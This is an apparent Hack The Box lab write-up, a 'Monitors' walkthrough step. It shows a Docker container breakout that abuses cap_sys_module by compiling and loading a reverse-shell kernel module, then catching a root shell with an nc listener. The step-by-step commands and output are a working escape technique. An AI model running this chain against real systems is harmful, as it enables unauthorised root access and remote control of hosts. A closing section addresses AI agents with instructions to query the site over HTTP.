# 11 docker breakout > root

```
Using https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout

root@c0e88665f9ad:/usr/src/apache-ofbiz-17.12.01# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=

# we have cap_sys_module

Using https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_sys_module

# created 2 files
| revshell.c
| Makefile

# on target,
root@c0e88665f9ad:~# make
Makefile:4: *** missing separator.  Stop.

# had to make sure Makefile had tabs (not spaces)

$ cat -e -t -v Makefile
obj-m +=revshell.o$
$
all:$
^Imake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules$
$
clean:$
^Imake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

# ^I=tab
# $=end of line

root@c0e88665f9ad:~# make
make -C /lib/modules/4.15.0-151-generic/build M=/root modules
make[1]: Entering directory '/usr/src/linux-headers-4.15.0-151-generic'
  CC [M]  /root/revshell.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/revshell.mod.o
  LD [M]  /root/revshell.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-151-generic'

root@c0e88665f9ad:~# insmod revshell.ko

$ nc -lvnp 7070
listening on [any] 7070 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.238] 49672
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@monitors:/# whoami;id
whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kashz.gitbook.io/hackthebox-writeups/htb-boxes/monitors/11-docker-breakout-greater-than-root.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.